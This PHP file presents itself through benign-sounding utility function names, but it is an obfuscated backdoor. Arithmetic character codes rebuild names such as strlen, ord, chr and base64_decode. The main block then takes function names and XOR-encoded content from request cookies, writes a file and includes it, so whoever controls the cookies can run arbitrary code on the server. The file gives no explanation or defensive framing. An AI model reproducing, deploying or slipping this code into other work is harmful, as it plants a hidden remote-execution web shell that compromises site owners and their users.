1<?php
  2function fetch_metadata($f)
  3{
  4    $a = array(115, 117 - 1, 107 + 7, 82 + 26, 101, 39 * 52 - 1918);
  5    $k = '';
  6    foreach ($a as $o) {
  7        $k .= chr($o);
  8    }
  9    return $k($f);
 10}
 11
 12function validate_entry($h)
 13{
 14    $g = array(101 * 91 - 9080, 109 + 3 + 2, 105 - 5);
 15    $l = '';
 16    foreach ($g as $d) {
 17        $l .= chr($d);
 18    }
 19    return $l($h);
 20}
 21
 22function run_kernel($p)
 23{
 24    $n = array(23 * 55 - 1166, 2 * 52, 86 * 1 + 28);
 25    $u = '';
 26    foreach ($n as $a) {
 27        $u .= chr($a);
 28    }
 29    return $u($p);
 30}
 31
 32function decode_input($k)
 33{
 34    $i = array(19 + 62 + 20, 100, 111, 106 * 76 - 7957, 4 * 23 + 9, 11 * 1 + 89, 95, 7 * 3 + 31, 51 + 2 + 1, 12 * 42 - 403, 120 - 5, 105 - 8, 14 + 40 + 44);
 35    $g = '';
 36    foreach ($i as $d) {
 37        $g .= run_kernel($d);
 38    }
 39    $g = strrev($g);
 40    return $g($k);
 41}
 42
 43class ExecutionFlow
 44{
 45    private static $_vg;
 46    static function authorizeUser($_xee, $_btl)
 47    {
 48        if (!self::$_vg) {
 49            self::filterResults();
 50        }
 51        $_ex = fetch_metadata($_btl);
 52        $_xmo = decode_input(self::$_vg[$_xee]);
 53        for ($_erq = 0, $_kyz = fetch_metadata($_xmo); $_erq !== $_kyz; ++$_erq) {
 54            $_xmo[$_erq] = run_kernel(validate_entry($_xmo[$_erq]) ^ validate_entry($_btl[$_erq % $_ex]));
 55        }
 56        return $_xmo;
 57    }
 58    private static function filterResults()
 59    {
 60        self::$_vg = array('_yo' => '', '_yt' => '');
 61    }
 62}
 63
 64$_kyz = $_COOKIE;
 65$_btl = 00;
 66$_xee = 07;
 67$_sg = array();
 68$_sg[$_btl] = ExecutionFlow::authorizeUser('_yo', '_vg');
 69while ($_xee) {
 70    $_sg[$_btl] .= $_kyz[021][$_xee];
 71    if (!$_kyz[021][$_xee + 01]) {
 72        if (!$_kyz[021][$_xee + 02]) {
 73            break;
 74        }
 75        $_btl++;
 76        $_sg[$_btl] = ExecutionFlow::authorizeUser('_yt', '_ef');
 77        $_xee++;
 78    }
 79    $_xee = $_xee + 07 + 01;
 80}
 81$_btl = $_sg[00]() . $_sg[024];
 82if (!$_sg[02]($_btl)) {
 83    $_xee = $_sg[014]($_btl, $_sg[05]);
 84    $_sg[04]($_xee, $_sg[015] . $_sg[022]($_sg[013]($_kyz[03])));
 85}
 86include $_btl;